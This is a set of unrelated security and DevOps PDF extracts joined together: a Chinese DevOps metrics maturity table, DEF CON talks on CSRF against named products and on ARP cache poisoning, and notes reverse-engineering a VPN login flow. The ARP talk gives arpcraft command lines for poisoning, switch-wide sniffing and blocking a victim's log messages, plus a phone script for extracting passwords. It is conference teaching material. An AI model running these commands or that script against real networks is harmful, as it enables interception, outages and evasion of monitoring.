成。在拣选度量指标时需要关注两个方面,即度量指标的合理性和度量指标的有效性,合理性方面依托
于对当前业务价值流的分析,从过程指标和结果指标两个维度来识别DevOps实施结果,以及整个软件交
付过程的改进方向;有效性方面一般遵循SMART原则,即指标必须是具体的、可衡量的、可达到的、同
其他目标相关的和有明确的截止时间,通过这五大原则可以保证目标的科学有效。
级
别
度量指标定义
度量指标类型
度量数据管理
度量指标更新
1
度量指标没有明确
定义,对度量价值的
理解是模糊的
无
度量数据是临时性的,没
有收集管理
无
2
在持续交付各个阶
段定义度量指标,度
量指标局限于职能
部门内部
度量指标以结果指标为
主,如变更频率,需求
交付前置时间,变更失
败率和平均修复时间,
度量数据的收集是离散
的不连续的,历史度量数
据没有进行有效管理
度量指标的设立和更新是
固化的,度量指标没有明
确的优先级
3
建立跨组织度量指
标,进行跨领域综合
维度的度量
度 量 指 标 覆 盖 过 程 指
标,客观反映组织研发
现状
度量数据的收集是连续
的,历史度量数据有明确
的管理规则
度量指标的设立和更新是
动态的,可以按照组织需
求定期变更,度量指标的
优先级在团队内部可以达
13
成一致
4
整个研发团队共享
业务价值导向的度
量指标,实现指标的
抽象分级,关注核心
业务指标
度量指标覆盖探索性指
标,关注展示趋势和识
别潜在改进
度量数据的收集是连续
且优化的,对历史数据数
据进行有效的挖掘分析
建立完整的度量体系和成
熟的度量框架,度量指标
的设立和更新可按需实现
快 速 定 义 并 纳 入 度 量 体
系,推动流程的持续改进
5
持续优化的度量指
标,团队自我驱动持
续改进
支持改进目标和试验结
果的有效反馈,用于经
验积累和指导下一阶段
的改进工作
同上
度量指标可基于大数据分
析和人工智能自动识别推
荐,并且动态调整指标优
先级
表1:部分参考过程度量指标
阶段
度量指标
需求
需求总数
各个状态需求数量
需求完成数量
需求平均时长
版本控制
代码仓库数量
代码提交数
代码提交频率
代码提交时间分布
构建
构建次数
构建频率
构建时长
构建失败率
构建修复时间
构建类型
代码
代码行数
代码复杂度
代码重复率
单元测试覆盖率
单元测试用例数
单元测试成功率
环境
环境变更时长
变更频率
容器镜像更新
活跃容器数量
资源使用统计
部署
部署版本数量
部署时间
部署成功率
部署回滚率
12.2 度量驱动改进
14
度量驱动改进关注软件交付过程中各种度量数据数据的收集,统计,分析和反馈,通过可视化的度
量数据客观反映整个研发过程的状态,以全局视角分析系统约束点,并在团队内部共享,帮助设立客观
有效的改进目标,并调动团队资源进行优化.同时对行之有效的改进项目进行总结分享,帮助更大范围
组织受益于改进项目的效果,打造学习型组织和信息共享,不断驱动持续改进和价值交付。
级
别
报告生成方式
报告有效性
报告覆盖范围
反馈改进
1
度量报告通过手工
方式生成,没有标准
化的格式定义,内容
缺乏细节
数据时效性无法保证
受众局限于报告生成人
员及相关的小范围内部
报告发现的问题没有进行
有效跟踪落实,问题长期
无法改进
2
度量报告以自动化
方式生成,通过预定
义格式和内容标准
化度量报告
数据体现报告生成时间
点的最新状态
由预先定义的事件触发
自动化报告发送,受众覆
盖团队内部成员
测试报告中反馈的问题录
入问题追踪系统,进行持
续跟踪
3
度量报告进行分类
分级,建立多种度量
反馈渠道,内容按需
生成
通过可视化看板实时展
示数据
实现报告精准范围推送,
支持主动订阅,受众覆盖
跨部门团队
度量反馈问题纳入研发迭
代的待办事项,作为持续
改进的一部分
4
建立跨组织级统一
的数据度量平台,数
据看板内容可定制
通过可视化看板聚合报
告内容,自动生成趋势
图,进行趋势分析
多维度产品状态实时信
息展示
度量反馈的持续改进纳入
研发日常工作,预留时间
处理非功能性需求和技术
债务,并且识别有效改进
并扩展到整个组织,作为
企业级知识体系积累保留
5
持续优化的度量方
法,平台和展现形式 同上
同上
通过数据挖掘实现跨组织
跨流程数据度量分析,分
析结果作为业务决策的重
要依据,帮助组织持续改
进价值交付流程 | pdf |
CSRF: Yeah, it still works…
Mike Bailey,
skeptikal.org
Russ McRee,
holisticinfosec.org
DISCLAIMER:
• The views, opinions, and
methodologies discussed here
do not reflect those of our
employers, thus no smack talk
herein is to be attributed to
anyone other than Mike and
Russ.
The XSS Epidemic: Discovery, disclosure, and remediation
Cross-site request forgery
• Bad News
– CSRF is nasty, it's everywhere, and you
can't stop it on the client side
• Good News
– It can do neat things
• CSRF is likely amongst the lamest
security bugs available, as far as
"cool" bugs go
In case you didn’t know…
• Crosssite request forgery, CSRF, XSRF
– In essence, the attack forces another user's
browser to do something on your behalf
– If that user is an authenticated user or an
administrator on a website, the attack can be
used to escalate privilege
– We’re of the belief that, much like its XSS cousin,
failure to mitigate this vulnerability through
secure coding practices borders on the negligent
CSRF: Yeah, it still works…
• We’ve identified an endless stream of
applications, platforms, critical
infrastructure devices, and even
wormable hybrid attacks, many of
which require little or no Javascript
(XSS)
• The key takeaway is this
– a vulnerability that is so easily prevented
can lead to absolute mayhem, particularly
when bundled with other attacks. Worse
still, identifying the attacker is even more
difficult as the attack occurs in the context
of the authenticated user
CSRF: Yeah, it still works…
• We’ll show you how to prevent it later…
• …but we’d rather show you how to
break things with it
CSRF: Yeah, it still works…
• A common argument from vendors /
developers who don’t want to fix CSRF vulns
when we report them
– Someone has to click a link, it’s their problem if they do
• Here’s a secret
– Everyone clicks links
• Just ask the CEO of StrongWebMail who’s
out $10,000
– $3300 of which is in Mike’s pocket right now
CSRF: Yeah, it still works…
• Tools of the trade
– Tamper Data, HackBar
– Ideal for seeing form variables / parameters
CSRF: Yeah, it still works…
•
See the form variables / parameters (and a lack of formkey / token) and you’re a simple script away from “making use of the opportunity”
McAfee Secure? Not so much…
• Surprisingly lame given the fact that this
vulnerability was all GET oriented.
• Picture this
– CSRF someone with access to the portal.
– Build your own account
– Scan a site of your choosing, discovering all their
vulnerabilities
– This takes a giant leap of faith in the quality of
the McAfee Secure scanning engine, but you get
the point ;)
McAfee Secure? Not so much…
The McAfee Secure user management page, before the attack
McAfee Secure? Not so much…
A GETbased CSRF attack
McAfee Secure? Not so much…
Account created via CSRF
McAfee Secure? Not so much…
EPIC FAIL!
CSRF: Linksys said what!?
“We can’t reasonably prevent CSRF’s without bogging down our
code. The compromise we had made here is to have a timeout
on the web interface, so users are logged out after 10 mins of
inactivity. We have also advised users to not click on suspicious
links while logged in to the web interface, or close the web
interface as soon as they are finished configuring the router.“
CSRF: Linksys WRT160N
VIDEO
CSRF: Linksys, Netgear…blah, blah, blah
• With few exceptions, they’re all vulnerable to CSRF
• Why is this is bad?
ESPN HTML injection via CSRF
An HTML injection hole in espn.go.com can easily lead to a CSRF
worm, with no clientside scripting.
CSRF: Dokeos
• CVE20092005
• Customers include
– Securitas
– MCI
– Red Cross France
– Belgian Defense Agency
• One million users
VIDEO
CSRF: osCommerce
• CVE20090408
• allintext:powered by oscommerce
– 9,330,000 results
• Discovered this one while picking on
McAfee Secure and other trustmark
providers.
VIDEO
CSRF: Zen Cart
• Zen Cart is essentially the same code base
as osCommerce.
• Russ tells Mike that osCommerce is broken
• Mike says “Then so is Zen Cart.”
• After testing and disclosure
– Secunia Advisory 33988
• allintext:powered by zen cart
– 7,330,000 results
• Between osCommerce and Zen Cart
– 16,660,000 possible pwnage points of light
• We believe that 666 in the above number is
not coincidental. ;)
CSRF: cPanel / WHM…pwn the
Intarweb
• How many hosting providers use
cPanel/WHM?
• Based on averages (very low)
– Ten thousand unique installations
– 700 sites per installation
– 7 million sites at a minimum managed via cPanel
/ WHM
CSRF: cPanel / WHM…pwn the
Intarweb
VIDEO
Misconceptions – Defenses That Don’t Work
• Only accept POST
– Stops simple GETbased attacks (IMG, frames, etc.)
– Hidden POST requests can be created with frames, scripts, etc…
• Referrer checking
– Some users prohibit referrers; requiring referrer headers
insufficient
– Techniques to selectively create HTTP request without referrers
exist
• Requiring multistep transactions
– CSRF attack can perform each step in order
• URL Rewriting
– General session id exposure in logs, cache, etc.
None of these approaches will sufficiently protect against CSRF!
Content courtesy of OWASP
CSRF: Mitigations and resources
• CAPTCHA
– Attacker must know CAPTCHA answer
– Assuming a secure implementation
• ReAuthentication
– Password Based
• Attacker must know victims password
• If password is known, then game over already!
– OneTime Token
• Attacker must know current token
• Very strong defense!
• Unique Request Tokens
– Attacker must know unique request token for particular
victim for particular session
– Assumes token is cryptographically secure and not
disclosed.
• /accounts?auth=687965fdfaew87agrde …
Content courtesy of OWASP
CSRF: Yeah, it still works…
Q & A
SEE YOU THERE! | pdf |
/por/login_auth.csp?apiversion=1
HTTP/1.1 200 OK
Date: Thu, 01 Apr 2021 01:11:26 GMT
Server: Server
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 2434
X-Robots-Tag: noindex, nofollow, noarchive, nosnippet, nosnippet, notranslate, noimageindex
Connection: close
Content-Type: text/xml;charset=utf-8
<?xml version="1.0" encoding="utf-8"?>
<Auth>
<ErrorCode>1</ErrorCode>
<Message>login auth success</Message>
<CSRF_RAND_CODE>783769751</CSRF_RAND_CODE>
<IS_UNFORCE_INSTALLECAGENT>0</IS_UNFORCE_INSTALLECAGENT>
<DKEY_VER_ENABLE>0</DKEY_VER_ENABLE>
<MID_ATK_CHECK>0</MID_ATK_CHECK>
<StartAuth>1</StartAuth> <!-- return next auth type -->
<clientRunMode>0</clientRunMode>
<TwfID>04d000294c2cbdc1</TwfID> <!-- twfid from server -->
<RndImg>0</RndImg> <!-- image check -->
<Anonymous>0</Anonymous> <!-- anonymous login allowed or not -->
<Deny_normal_user>0</Deny_normal_user> <!-- normal user login allowed or not -->
<Autoinstall>1</Autoinstall> <!-- auto install components enabled or not -->
<Softkey>0</Softkey> <!-- soft key enable or not -->
<enablesavepwd>0</enablesavepwd> <!-- save password enable or not -->
<enableautologin>0</enableautologin> <!-- auto login enable or not -->
<enableautoRelogin>0</enableautoRelogin> <!-- auto relogin enable or not -->
<enablethirdpartycert>0</enablethirdpartycert>
<enablewechatqrcode>0</enablewechatqrcode>
<certcodetype>UTF-8</certcodetype>
<Is_enable_mult_client>NULL</Is_enable_mult_client> <!--enable mulit client -->
<Mult_client_guid>NULL</Mult_client_guid> <!--mulit client guid-->
<Is_multclient_version>0</Is_multclient_version> <!--is mulit client version-->
<Multiline></Multiline>
<DomainSSOEnable>0</DomainSSOEnable>
<DomainSSOUrl></DomainSSOUrl>
<DenyAccessWithoutCom>0</DenyAccessWithoutCom>
<DeviceType>ssl</DeviceType> <!-- ssl or vsp -->
<SSLCipherSuite>
<EC>AES128-SHA</EC>
</SSLCipherSuite>
<RSA_ENCRYPT_KEY>AB45980970275F799AB779346A87027DC86A5404525361BEEE8F8784DED8334371F50EC444D09EDA67B73889351DFE92BE4BD5807E15F4A6689EE9A0D7E63330ABBABC3FEB5BACF88629AE1726B9FC75000481
0392F0B2FADEB17812EE57BE2768B4A8726C5497B3A4CB99C1557CAC942244328F0AB78776247506EF23FBB1189286D70C96276408FB4EB2ABCA548FF8BFE64F02A3B9BCBFF1E1A551F3A6B319DFF7CFEAD064764237EB9B785131F
683525A5DB917FE3B6E0B9289A5B7AEE658FA79C5AF2FAFFDEDCF2F5DC9DCFAE8824C69E36D554FAF62353C44851CC30C1BDE61EBEA779FFB78B943714E419BA1DE4874965D1730A6B0AF700FE3BB49997D</RSA_ENCRYPT_KEY>
<RSA_ENCRYPT_EXP>65537</RSA_ENCRYPT_EXP>
<RESET_PASSWORD>0</RESET_PASSWORD>
<USB_KEY_DLL></USB_KEY_DLL>
<AllowBindSms>0</AllowBindSms>
<GMVERSION>1.1</GMVERSION>
<VPNVERSION>M7.6.8R2</VPNVERSION>
<SSLALGOR>1</SSLALGOR>
<EFlag>close</EFlag>
<Extra></Extra>
</Auth>
mod_twf.so——
0x00
TwfID CSRF_RAND_CODE
/por/login_psw.csp?anti_replay=1&encrypt=1&apiversion=1
mitm_result=&svpn_req_randcode=783769751&svpn_name=yujj1&svpn_password=4491458cd0f9bc242c946b0a5492cdb006559239921844c4ae5d54c63c7d0a60b0ace7287c56d2ae369dc3154d05da28a7b9c395fadf1c7c
f21ad967fa5542bb81c2d61d80ab7f61fb13660ff06aa65d3439723b0120b9e633e4a9c3d23a20cc31b1dcc5965a65816a2974e44a839d9bcdac0230b0eaecf006034e6ed125263034cd27e7a517cc721cd268e16c8f1f90c80f127
1258d24a35193c1ecc78dec394c1bd8ed032e8bba49cfdbce37a275ec1f8b3d6f929ea0e6a4a30548f831cd07b77a4783ca954430f44ab0d22dc30419f7d3bef32b7637886e0bcd904d0042d370db125dbc40f1e6f0783c2def9a3f
3e02c7a2cff8b1fef8c4f700656fc86ade&svpn_rand_code=9xkw
CSRF_RAND_CODE
https://192.168.50.64/por/rand_code.csp?rnd=0.2841726641493598
/por/login_auth.csp?apiversion=1 //
/por/login_psw.csp?anti_replay=1&encrypt=1&apiversion=1 //
/por/rand_code.csp?rnd=0.2841726641493598 //
aPorRandCodeCsp='/por/rand_code.csp'
0x01 url
:rand_code_servlet
:aPorRandCodeCsp='/por/rand_code.csp'
1:sub_1A5560
2:sub_1A5630
3:sub_1A5590
void __assert_fail(const char * assertion, const char * file, unsigned int line, const char * function);
:rand_code_servlet
:aPorRandCodeCsp='/por/rand_code.csp'
1:sub_1A5560
2:rand_code_service(__int64 twf_request, __int64 twf_response)
3:sub_1A5590
/por/rand_code.csp
1 handler
AddHandler example-handler .sum
2
module AP_MODULE_DECLARE_DATA example_module =
{
STANDARD20_MODULE_STUFF,
NULL,
NULL,
NULL,
NULL,
NULL,
register_hooks /* Our hook registering function */
};
static void register_hooks(apr_pool_t *pool)
{
/* Create a hook in the request handler, so we get called when a request arrives */
ap_hook_handler(example_handler, NULL, NULL, APR_HOOK_LAST);
}
ap_hook_handler(example_handler, NULL, NULL, APR_HOOK_LAST);
0x02 apache module example
static int example_handler(request_rec *r)
{
/* First off, we need to check if this is a call for the "example-handler" handler.
* If it is, we accept it and do our things, if not, we simply return DECLINED,
* and the server will try somewhere else.
*/
if (!r->handler || strcmp(r->handler, "example-handler")) return (DECLINED); //r->handlerexample-handler
/* Now that we are handling this request, we'll write out "Hello, world!" to the client.
* To do so, we must first set the appropriate content type, followed by our output.
*/
ap_set_content_type(r, "text/html");
ap_rprintf(r, "Hello, world!");
/* Lastly, we must tell the server that we took care of this request and everything went fine.
* We do so by simply returning the value OK to the server.
*/
return OK;
}
AddHandler example-handler .sum
3 example
AddHandler example-handler .sum
AddHandler
AddHandler type-map var
<IfModule mod_twf.cpp>
AddType application/x-httpd-twf .csp
</IfModule>
AddType application/x-httpd-twf .csp
AddType
AddTypemedia-typeextension
SetHandler AddHandler
mod_php
“” SetHandler AddHandler
0x03
0x04
0x05 | pdf |
LAN PROTOCOL ATTACKS
PART 1 -
ARP RELOADED
Presented at Defcon 15
Las Vegas, NV 2007
Jesse ‘x30n’ D’Aguanno
jesse[at]praetoriang.net / x30n[at]digrev.org
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Background
•
$whoami
–
Jesse ‘x30n’ D’Aguanno
–
Director of Professional Services and Research - Praetorian Global
•
Lead Professional Services - Penetration Testing, Code audit, etc.
•
Lead Vulnerability Research Efforts
–
Team Captain / Researcher - Digital Revelation
•
Group of hackers who share stuff & beat other hackers in competitions
•
Usual suspects in Defcon CTF
•
Taken Defcon CTF title twice + Interz0ne CTF & toorcon rootwars
–
Invented techniques and coined the term “Blackjacking”
–
Didn’t write the book “Blackjacking”
2
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP - Background
•
Networked systems need a way to identify the layer 2 address of peers on the same
network segment based on their protocol address
•
Enter the Address Resolution Protocol (ARP)
–
ARP allows a system to dynamically identify the hardware address (In our case MAC address)
of a networked peer via its protocol address (IP address)
–
It does this by sending REQUEST packets to the network broadcast for any one with the IP
we’re looking for
•
I.e “Who has 192.168.1.100”
–
The host with the matching IP sends a RESPONSE packet to the requester with it’s hardware
address
•
I.e “192.168.1.100 is at 00:DF:1A:9C:A3:78”
–
To reduce the amount of transactions required, hosts maintain an “ARP cache” of recently
resolved MAC Address / IP Pairs
•
Else, each transaction would require an ARP lookup
3
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP - Background
•
Anatomy of an ARP packet
4
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
•
192.168.1.20 Requests the hardware address of 192.168.1.100
ARP Request
5
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP - Reply
6
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Attacks - ARP Cache
•
ARP Cache Poisoning
–
ARP is unauthenticated
–
Whoever sends a reply to a requester first wins
•
The ARP cache is updated with the contents of the reply
•
Sometimes the ARP cache is updated when it gets a reply even if it didn’t send a request
– Depends on OS
–
Traditionally, this is exploited by sending forged REPLY packets to a victim to have them
update their ARP cache
7
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Attacks - ARP Cache
•
ARP cache poisoning results:
–
Man in the Middle
•
E.g Poison the victim with your MAC address for the IP address of the gateway... Host
communicates with you instead of the gateway
–
Denial of Service (DoS)
•
E.g Poison the victim with a bogus MAC address and the IP address of the gateway...
Host can’t communicate with gateway
8
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Cache Poisoning - MiTM
•
Client Sends ARP Request for 192.168.1.1 (Gateway)
9
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Cache Poisoning - MiTM
•
Attacker sends spoofed REPLY packet to host with its MAC for 192.168.1.1
10
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Cache Poisoning - MiTM
•
Attacker can now forward packets to 192.168.1.1 intercepting all communication
between 192.168.1.20 and the Gateway (192.168.1.1)
11
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Cache Poisoning - DoS
•
192.168.1.20 Requests the hardware address of 192.168.1.1 (Gateway)
12
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Cache Poisoning - DoS
•
Attacker sends spoofed REPLY packet to 192.168.1.1 that 192.168.1.1 is at
00:DE:AD:BE:EF:01 (Non-existent MAC Address)
13
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Cache Poisoning - DoS
•
Victim now thinks 192.168.1.1 is at 00:DE:AD:BE:EF:01 so communication is broken
14
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Attacks - CAM Table Overflow
•
CAM Table Overflow
–
A network hub broadcasts all packets to all ports
–
A network switch on the other hand maintains a record of what hardware addresses are
associated with each switch port
•
Stores this and other info in its CAM (Content-Addressable Memory) table
–
Only forwards packets to the port associated with the destination hardware address in the
ethernet frame
–
CAM table overflow
•
Attacker sends thousands of bogus MAC addresses to the network
•
Switch’s CAM table is updated with each MAC
•
The CAM table can only hold so much data, so at some point it becomes full
•
The switch then forwards all traffic to all ports again (Like a hub)
•
CAM table overflow results:
–
Since switch now acts the same as a hub, the attacker can eavesdrop (“sniff”) all traffic on that
network segment
15
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
ARP Attacks - Weaknesses
•
ARP cache poisoning
–
Current methods of ARP cache poisoning utilize ARP REPLY packets
–
Unfortunately, not all OSs will update their ARP cache when they receive an ARP REPLY if
they haven’t first sent a matching ARP REQUEST
–
To overcome this, some poisoning tools sniff the network for broadcast ARP REQUESTs,
sending forged REPLYs in response to all requests
•
CAM table overflow
–
CAM table overflow requires many hundreds if not thousands of spoofed ARPs
–
Obviously very noisy and identifiable attack
–
Technologies like Cisco’s port security can limit the number of MAC addresses allowed on
each switch port
•
Mitigates the risk of a CAM table overflow since the switch doesn’t recognize any more MAC
addresses on that port once the pre-set limit is reached
16
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Arpcraft
•
arpcraft tool was created to help in testing different ARP conditions
~$./arpcraft
ERROR: Missing required options!
Usage: ./arpcraft [options]
Options:
-i <interface> Interface to send on *
-sha <MAC Address> Source Hardware Address *
-spa <IP Address> Source Protocol Address *
-tha <MAC Address> Target Hardware Address *
-tpa <IP Address> Target Protocol Address *
-o "request" or "reply" Opcode *
-esrc <MAC Address> Source MAC for Ethernet Frame
-edst <MAC Address> Destination MAC for Ethernet Frame
-h This Help Message
-interval <seconds>
How often we should send ARP (defaults to 5 secs)
-c -count <rounds>
How many packets to send (Defaults to unlimited)
17
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Arpcraft
•
arpcraft (cont.)
Ethernet Frame Layout
#################################################################
# Destination MAC Address: 00:00:00:00:00:00 #
#
# Source MAC Address: 00:00:00:00:00:00 #
#
# Ether Type: ARP #
#
#################################################################
ARP Packet Layout
#################################################################
# Hardware Type: 1 (Ethernet) #
#
# Protocol Type: 0800 (IP) #
#
# Hardware Address Length: (6) #
#
# Protocol Address Length: (4) #
#
# Opcode: <Unknown Opcode> #
#
# Sender Hardware Address (SHA): 00:00:00:00:00:00 #
#
# Sender Protocol Address (SPA): 127.0.0.1 #
#
# Target Hardware Address (THA): 00:00:00:00:00:00 #
#
# Target Protocol Address (TPA): 127.0.0.1 #
#
#################################################################
~$
18
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Arpcraft
•
Examples
–
Send ARP Request to 192.168.1.100 [00:AA:BB:CC:DD:FF] from 192.168.1.20
[00:AA:BB:CC:DD:EE]
~$./arpcraft -i en0 -sha 00:aa:bb:cc:dd:ee -spa 192.168.1.20 -tha
00:aa:bb:cc:dd:ff -tpa 192.168.1.100 -o request
Ethernet Frame Layout
#################################################################
# Destination MAC Address: 00:aa:bb:cc:dd:ff #
# Source MAC Address: 00:aa:bb:cc:dd:ee #
# Ether Type: ARP #
#################################################################
ARP Packet Layout
#################################################################
# Hardware Type: 1 (Ethernet) #
# Protocol Type: 0800 (IP) #
# Hardware Address Length: (6) #
# Protocol Address Length: (4) #
# Opcode: Request #
# Sender Hardware Address (SHA): 00:aa:bb:cc:dd:ee #
# Sender Protocol Address (SPA): 192.168.1.20 #
# Target Hardware Address (THA): 00:aa:bb:cc:dd:ff #
# Target Protocol Address (TPA): 192.168.1.100 #
#################################################################
Injecting ARP request to 192.168.1.100 [00:aa:bb:cc:dd:ff] from 192.168.1.20
[00:aa:bb:cc:dd:ee]
19
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Arpcraft
•
Send ARP Reply to 192.168.1.85 [00:AB:CD:EF:01:02] from 192.168.1.20
[00:AA:BB:CC:DD:EE]
~$./arpcraft -i en0 -sha 00:aa:bb:cc:dd:ee -spa 192.168.1.20 -tha 00:AB:CD:EF:01:02
-tpa 192.168.1.85 -o reply
Ethernet Frame Layout
#################################################################
# Destination MAC Address: 00:AB:CD:EF:01:02 #
# Source MAC Address: 00:aa:bb:cc:dd:ee #
# Ether Type: ARP #
#################################################################
ARP Packet Layout
#################################################################
# Hardware Type: 1 (Ethernet) #
# Protocol Type: 0800 (IP) #
# Hardware Address Length: (6) #
# Protocol Address Length: (4) #
# Opcode: Reply #
# Sender Hardware Address (SHA): 00:aa:bb:cc:dd:ee #
# Sender Protocol Address (SPA): 192.168.1.20 #
# Target Hardware Address (THA): 00:AB:CD:EF:01:02 #
# Target Protocol Address (TPA): 192.168.1.85 #
#################################################################
Injecting ARP reply to 192.168.1.85 [00:AB:CD:EF:01:02] from 192.168.1.20
[00:aa:bb:cc:dd:ee]
20
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - ARP Cache
•
Again, traditional ARP cache poisoning techniques have weaknesses
–
Some OSs don’t update their ARP cache after receiving gratuitous ARP Replies that they aren’t
expecting
–
Even if they do, most (All?) OSs will not add an entry to their ARP cache after receiving a
Reply if an entry isn’t already there
•
RFC 826 [1] states:
–
If a host receives an ARP REQUEST
–
and the target hardware address (THA) and target protocol address (TPA) match their own
(ARP request destined for them)
–
Prior to responding, the host will update or add the source protocol address (SPA) and source
hardware address (SHA) to its cache
–
Actual verbiage from RFC 826:
“... If the pair <protocol type, sender protocol address> is already in my translation table, update the
sender hardware address field of the entry with the new information in the packet and set Merge_flag
to true.
Am I the target protocol address?
Yes:
If Merge_flag is false, add the triplet <protocol type, sender protocol address, sender
hardware address> to the translation table...”
21
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - ARP Cache
•
So according to RFC 826, if we use an ARP REQUEST packet instead of an ARP
REPLY, we can poison our victim’s cache every time with a single packet
–
Even adding new entries to the cache instead of relying on there already being a matching
entry
22
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - ARP Cache
•
Attacker sends REQUEST to 192.168.1.20 from 192.168.1.1 with attacker’s MAC
23
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - ARP Cache
•
Demo
24
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - Focused
•
As mentioned, CAM table overflow technique has drawbacks
–
Highly identifiable
–
Hundreds or Thousands of packets
–
Modern switches can defeat it with technology like “Port Security”
•
Limit the number of MAC addresses allowed to be associated with a given port
•
Often, we want to sniff the traffic of a particular host, not necessarily the whole network
•
When the switch receives a frame it checks its CAM table to see if the destination
hardware address exists
•
If not, the switch forwards the frame to all ports
•
We can accomplish this in a different way than CAM table overflow
25
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - Focused
•
Utilizing the ARP cache poisoning technique detailed above, if we poison the ARP cache
of the victim with a NULL hardware address (00:00:00:00:00:00) for the destination (I.e
the network gateway)
•
All frames from the victim to the gateway will be forwarded to all switch ports, allowing us
to eavesdrop on that communication
–
Works on every switch we’ve tested:
•
Cisco
•
Bay Networks
•
HP
•
Etc.
•
Works despite Port Security, etc. because we’re sending 1 packet (Or at least one MAC,
00:00:00:00:00:00) as opposed to thousands
•
Also, much less identifiable to network detection tools (IDS, etc)
26
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - Focused
•
Demo
27
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - Other Fun
•
Some OSs can be poisoned with their own MAC address for the destination
–
Severs communication
–
Prevents messages from ever reaching the network
–
Useful for:
•
Preventing log messages from reaching log host
•
Preventing host based IDS from reporting to central console
•
etc.
–
Victim = 192.168.1.20 [00:AA:BB:CC:DD:EE]
–
Log_host = 192.168.1.40 [00:1A:2B:3C:4D:5E]
attacker~$./arpcraft -i fxp0 -sha 00:aa:bb:cc:dd:ee -spa 192.168.1.40
-tha 00:aa:bb:cc:dd:ee -tpa 192.68.1.20 -o request
28
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
•
Attacker sends REQUEST to victim with victim’s own MAC
29
Attacks Reloaded - Other Fun
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - Other Fun
•
Victim attempts to log subsequent attack attempt
–
Victim’s ARP cache says Log_host is at local interface
–
Log message never reaches Log_host
30
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Attacks Reloaded - Other Fun
•
Duplicate IP address on network
–
If a host receives an ARP request or reply with the same protocol address (IP address) as its
own interface, but a different hardware (MAC) address
•
Most OSs will warn the user that a duplicate IP address is in use on the network
•
Example: Windows pop-up
– “Windows - System Error”
– There is an IP address conflict with another system on the network
•
Proven effective in social engineering scenarios
– Call victim: “Hello, this is Mr. Tech from IT... It appears that we have a network issue
with your machine... Give me your username / password...”
•
Potential DoS
– Many packets like this can slow Windows down considerably, etc.
31
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Arpvenom
•
Tool to automate ARP attacks presented today
•
Details...
32
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Conclusion
•
Traditional ARP attacks work well but can have some weaknesses in certain
environments
•
In some cases, using ARP REQUEST packets instead of ARP REPLY packets for cache
poisoning can be more reliable
•
We can perform “focused sniffing” between hosts by poisoning the victim’s cache with a
NULL MAC address for the intended destination
–
Less noisy than CAM table overflow
–
More reliable on switches with controls to prevent CAM table overflow
33
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Resources
•
Most recent version of slides, arpcraft, arpvenom, etc:
–
http://www.praetorianglobal.net/Presentations/arpreload.html
–
or
–
http://www.digrev.org
•
RFC 826 ("An Ethernet Address Resolution Protocol" [Plummer-1982]): http://
